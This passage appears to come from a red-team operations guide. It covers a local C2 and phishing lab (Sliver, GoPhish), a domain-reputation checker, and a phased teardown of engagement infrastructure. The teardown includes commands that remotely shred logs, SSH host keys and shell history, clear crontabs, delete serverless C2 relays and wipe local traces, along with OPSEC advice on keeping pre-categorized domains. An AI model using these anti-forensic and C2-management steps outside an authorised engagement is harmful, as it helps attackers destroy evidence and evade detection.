- "127.0.0.1:8025:8025" # Web UI (local only)
- "1025:1025" # SMTP
networks:
- external
restart: unless-stopped
volumes:
sliver-data:
gophish-data:
networks:
c2-internal:
internal: true # No internet access for C2 backend
external:
driver: bridge
# Generate self-signed certs for local lab
mkdir -p certs
openssl req -x509 -newkey rsa:4096 -keyout certs/key.pem -out certs/cert.pem \
-sha256 -days 365 -nodes -subj "/CN=localhost"
# Start the lab
docker compose up -d
# Check all services are running
docker compose ps
# View GoPhish admin password (printed in first-run logs)
docker logs gophish 2>&1 | grep "Please login with"
# Tear down (preserves data volumes)
docker compose down
# Tear down and wipe all data
docker compose down -v
Automated domain categorization checker:
#!/bin/bash
# check-categorization.sh - Check domain reputation across vendors
DOMAIN="${1:?Usage: $0 domain.com}"
echo "[*] Checking categorization for: $DOMAIN"
# Bluecoat / Symantec
echo "[+] Bluecoat: https://sitereview.bluecoat.com/#/lookup-result/$DOMAIN"
# Check VirusTotal
echo "[+] Checking VirusTotal..."
VT_KEY="YOUR_VT_API_KEY"
curl -s "https://www.virustotal.com/api/v3/domains/$DOMAIN" \
-H "x-apikey: $VT_KEY" | jq '{
reputation: .data.attributes.reputation,
categories: .data.attributes.categories,
last_analysis_stats: .data.attributes.last_analysis_stats
}'
# Check if domain resolves
echo "[+] DNS Resolution:"
dig +short "$DOMAIN" A
dig +short "$DOMAIN" MX
# Check archive.org
echo "[+] Archive.org: https://web.archive.org/web/*/$DOMAIN"
# Check certificate transparency
echo "[+] Certificate Transparency (crt.sh):"
curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | \
jq -r '.[0:5] | .[] | "\(.not_before) - \(.name_value)"' 2>/dev/null
Teardown order is critical. If you destroy servers before removing DNS records, orphaned DNS records point at IPs that may be reassigned to someone else, potentially redirecting your client's traffic to a stranger. If you wipe data before extracting what you need for the report, you lose evidence of your findings.
Correct teardown sequence:
Before destroying anything, decide what to preserve for the report and what to destroy.
| Preserve for Report | Destroy Immediately |
|---|---|
| Beacon callback timestamps and session logs | Target user credentials (or encrypt and hand to client) |
| Screenshots of successful access (redacted PII) | Raw keylog data |
| Operator command history (sanitized) | LSASS dumps, SAM extracts |
| Phishing campaign statistics (GoPhish export) | Implant binaries and stagers |
| Infrastructure diagram (for methodology section) | SSH private keys for engagement |
| C2 profile and malleable config (for reproducibility) | VPN configs, API tokens |
| Network traffic samples (redacted) | Payment information and registrar credentials |
Best practice: Export and encrypt report data to a local encrypted volume BEFORE starting teardown. Use GPG with a key the team controls. Once verified, proceed with destruction.
# === PRE-TEARDOWN: Extract report data ===
mkdir -p /tmp/engagement-report && cd /tmp/engagement-report
# Pull C2 logs
scp -P 2222 operator@C2-IP:/var/log/c2/*.log ./c2-logs/
# Pull GoPhish campaign data
scp -P 2222 operator@PHISH-IP:/opt/gophish/data/gophish.db ./
# Pull beacon session data (Cobalt Strike)
scp -P 2222 operator@C2-IP:/opt/c2/cobaltstrike/logs/ ./cs-logs/ -r
# Pull Sliver session data
scp -P 2222 operator@C2-IP:/root/.sliver/ ./sliver-data/ -r
# Encrypt the report bundle
tar czf engagement-data.tar.gz ./*
gpg --symmetric --cipher-algo AES256 engagement-data.tar.gz
shred -vfz -n 3 engagement-data.tar.gz
# Move the .gpg file to your secure storage
# === PHASE 1: Remove DNS records (stop all traffic flow) ===
# This is FIRST because it stops new connections from reaching your infra.
# Existing connections may persist until servers are killed.
ZONE_ID="your_zone_id"
CF_API_TOKEN="your_token"
RECORDS=$(curl -s "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records" \
-H "Authorization: Bearer ${CF_API_TOKEN}" | jq -r '.result[].id')
for RECORD_ID in $RECORDS; do
curl -X DELETE "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records/${RECORD_ID}" \
-H "Authorization: Bearer ${CF_API_TOKEN}"
done
echo "[+] DNS records deleted. No new traffic will reach infrastructure."
# === PHASE 2: Revoke and delete certificates ===
sudo certbot revoke --cert-name cdn-assets.example.com --delete-after-revoke
curl -X DELETE "https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/ssl/certificate_packs/${CERT_ID}" \
-H "Authorization: Bearer ${CF_API_TOKEN}"
# === PHASE 3: Wipe C2 data and logs on all remote servers ===
for SERVER in "C2-IP" "REDIRECTOR-IP" "PHISH-IP"; do
ssh -p 2222 operator@$SERVER << 'REMOTEEOF'
# Stop all services
sudo pkill -9 teamserver sliver-server gophish 2>/dev/null
sudo systemctl stop cobaltstrike sliver nginx apache2 postfix 2>/dev/null
# Securely wipe C2 data
sudo find /opt/c2/ -type f -exec shred -vfz -n 3 {} \;
sudo find /opt/gophish/ -type f -exec shred -vfz -n 3 {} \; 2>/dev/null
sudo find /var/log/ -type f -exec shred -vfz -n 1 {} \;
sudo shred -vfz -n 3 ~/.bash_history ~/.zsh_history 2>/dev/null
# Wipe SSH keys and host keys
sudo shred -vfz -n 3 ~/.ssh/* /etc/ssh/ssh_host_* 2>/dev/null
# Wipe credentials and configs
sudo shred -vfz -n 3 /root/.logkey /root/.luks-keyfile 2>/dev/null
sudo find /etc/opendkim/ -type f -exec shred -vfz -n 3 {} \; 2>/dev/null
# Clear cron jobs
crontab -r 2>/dev/null
sudo crontab -r 2>/dev/null
REMOTEEOF
done
# === PHASE 4: Destroy cloud resources ===
# Terraform
cd /path/to/terraform/project
terraform destroy -auto-approve
# Or do-manager
# do-manager droplet delete --name c2-server --force
# do-manager droplet delete --name redir-01 --force
# do-manager droplet delete --name phish-01 --force
# do-manager firewall delete --name c2-fw
# do-manager firewall delete --name redir-fw
# Remove serverless functions
# Cloudflare Workers
wrangler delete c2-relay 2>/dev/null
# AWS Lambda
aws lambda delete-function --function-name c2relay 2>/dev/null
# Azure Functions
az functionapp delete --name c2relay --resource-group redteam-rg 2>/dev/null
# GCP Cloud Functions
gcloud functions delete c2relay --quiet 2>/dev/null
# === PHASE 5: Verify teardown ===
echo "[*] Verifying infrastructure teardown..."
# Check DNS resolution is gone
dig +short cdn-assets.example.com
dig +short static.example.com
dig +short mail.example.com
# Verify VPS IPs are no longer responding
nmap -Pn -p 80,443,2222,25 REDIRECTOR-IP C2-IP PHISH-IP
# Check certificate transparency for any leftover certs
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
jq '.[0:3] | .[].name_value'
echo "[*] Remote teardown complete. Proceeding to local cleanup."
# === PHASE 6: Local machine cleanup ===
# Wipe Terraform state (contains all IPs and secrets in plaintext)
shred -vfz -n 3 terraform.tfvars 2>/dev/null
find . -name "*.tfstate*" -exec shred -vfz -n 3 {} \;
rm -rf .terraform/ terraform.tfstate* 2>/dev/null
# Wipe do-manager configs
shred -vfz -n 3 ~/.config/do-manager/*.json 2>/dev/null
# Clean SSH known_hosts (remove engagement host fingerprints)
for IP in C2-IP REDIRECTOR-IP PHISH-IP; do
ssh-keygen -R "$IP" 2>/dev/null
ssh-keygen -R "[$IP]:2222" 2>/dev/null
done
# Rotate engagement SSH keys
shred -vfz -n 3 ~/.ssh/redteam_ed25519 ~/.ssh/redteam_ed25519.pub 2>/dev/null
ssh-keygen -t ed25519 -f ~/.ssh/redteam_ed25519 -N "" -q <<< y
# Clear shell history
history -c
shred -vfz -n 3 ~/.bash_history ~/.zsh_history 2>/dev/null
# For zsh with HISTFILE in memory:
fc -p /dev/null
# Clear browser data for engagement-related sites
# Firefox: delete profile or clear specific site data
# Chrome: chrome://settings/content/all -> search engagement domains
# Wipe clipboard
xclip -selection clipboard < /dev/null 2>/dev/null
xsel --clipboard --clear 2>/dev/null
# Remove any engagement-related Docker artifacts
docker system prune -af --volumes 2>/dev/null
echo "[*] Local cleanup complete."
| Factor | Release Domain | Hold Domain |
|---|---|---|
| Single engagement | Release after 30 days (let DNS caches expire). No future need. | Hold if the domain has good categorization that took weeks to build. |
| Ongoing client | Release if the domain was flagged/burned. It is now associated with malicious activity. | Hold if clean. Recategorize and reuse for next engagement phase. |
| Cost | Stops renewal fees. Domain returns to public pool after expiry. | ~$10-15/year. Cheap insurance for a pre-categorized domain. |
| OPSEC risk of holding | No risk once released. | Domain is tied to your registrar account. If account is compromised, past ops are linked. |
| Recommendation | Default choice for most engagements. | Only hold for long-term retainer clients with multi-phase assessments. |
If holding: remove all DNS records, remove Cloudflare configuration, but keep the domain registered. Park it with a generic holding page. If releasing: let it expire naturally (do not explicitly delete, as some registrars have grace periods where the domain stays associated with your account).
| Phase | Step | Action |
|---|---|---|
| 0 | Report data | Extract and encrypt all data needed for the engagement report |
| 1 | DNS | Delete all DNS records (A, CNAME, MX, TXT, NS) to stop traffic |
| 2 | Certificates | Revoke Let's Encrypt certs, delete Cloudflare origin certs |
| 3 | Remote wipe | Shred logs, C2 data, credentials, SSH keys on all VPS instances |
| 4 | Cloud destroy | terraform destroy / do-manager droplet delete / manual VPS termination |
| 5 | Serverless | Delete Cloudflare Workers, Lambda functions, Azure Functions, GCP Functions |
| 6 | Verify | DNS resolution gone, VPS IPs dead, crt.sh checked |
| 7 | Local SSH | Clean ~/.ssh/known_hosts, rotate engagement SSH keys |
| 8 | Local state | Shred terraform.tfvars, .tfstate, API tokens, engagement configs |
| 9 | Local history | Clear shell history, browser history, clipboard |
| 10 | Docker | docker system prune -af --volumes if local lab was used |
| 11 | Domain | Decide: release or hold for future ops |